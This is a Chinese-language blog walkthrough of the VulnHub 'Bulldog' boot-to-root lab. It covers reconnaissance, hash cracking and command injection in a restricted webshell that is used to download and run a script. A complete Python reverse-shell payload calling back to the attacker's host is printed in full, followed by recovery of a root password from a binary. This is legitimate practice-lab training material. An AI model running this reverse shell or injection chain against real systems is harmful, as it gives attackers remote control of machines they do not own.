红日攻防实验室

红日攻防实验室



VulnHub – 渗透测试案例(五)

timg.jpg

简介

下载链接

https://www.vulnhub.com/entry/bulldog-1,211/

靶机说明

斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:)

这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你!

难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;)

目标

  • 提权到root权限并查看flag

运行环境

  • 这个靶机,作者建议在Virtualbox上运行。但是攻击机kali在vm中。
  • 首先是网络环境,将两台处于不同虚拟机软件中的虚拟机配置到同一网卡下。
  • Virtualbox设置为桥接模式,桥接到物理的无线网卡
  • 只有一块无线网卡链接到了互联网,所以kali直接桥接,复制物理网络即可。
  • 最后kali执行dhclient命令,请求分配ip,bulldog直接开机即可。

信息收集

  • ip发现

bulldog在开机时,已经给出了ip地址

  • 端口扫描

执行命令nmap -sS 192.168.43.234

  • 服务识别

执行命令nmap -A -p80,23 192.168.43.234 对23和80进行详细探测

发现ssh服务和web服务,并且web服务为python。

漏洞挖掘

  • 首先查看web,同时进行目录探测dirb http://192.168.43.234

发现

/admin

/dev/shell

  • 对admin登录页面进行了注入尝试,没有成功
  • 查看/dev/shell发现webshell不能使用
  • 查看/dev页面的源码发现提示
  • 对hash进行碰撞
  • 利用碰撞出来的两个密码进行登录尝试利用sarah成功登录
  • 此时webshell可以使用

获取shell

  • 发现给出的webshell只能使用给定的几个命令。尝试命令注入。
  • 可以进行命令注入,尝试wget是否有权限。本地执行命令python -m SimpleHTTPServer 80搭建简易web服务。在webshell上执行命令pwd&wget http://192.168.43.27。kali的日志中发现访问记录
  • 在开启python web服务的目录下准备一个python shell

    import socket,subprocess,os
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    s.connect(("192.168.43.27",1234))
    
    os.dup2(s.fileno(),0)
    
    os.dup2(s.fileno(),1)
    
    os.dup2(s.fileno(),2)
    
    p=subprocess.call(["/bin/bash","-i"])
    
  • 在命令执行页面执行pwd& wget http://192.168.43.27/pythonshell.py本地日志显示成功下载
  • 本地进行nc监听,执行nc -lvp 1234
  • 在命令执行处执行pwd &python pythonshell.py

获得shell

提升权限

  • 首先执行python shell

  • 进入/home目录,查看是否有其他用户,进入bulldogadmin
  • 查看他的命令历史文件,意外发现一个隐藏目录.hiddenadmindirectory
  • 该隐藏目录存在两个文件,一个note提示,一个可执行文件

  • 利用 strings查看可执行文件中的字符

<gadmin/.hiddenadmindirectory$ strings customPermissionApp                   
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
  Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

从以上字符中大致明白了程序的用途和用法

  • 从这里猜测可能是密码

  • 经过测试,发现确实是密码
  • 最后读取flag文件

靶场思路回顾

根据最后这个可执行文件的作用,推测,将其加入到计划任务中,也可以拿到权限。如果有python web开发的经验,前期在命令执行漏洞挖掘时,可以cat view.py文件,根据源码分析他的过滤

 标签: none

作者  :  redBu11



关于我

about me

redBu11

联系我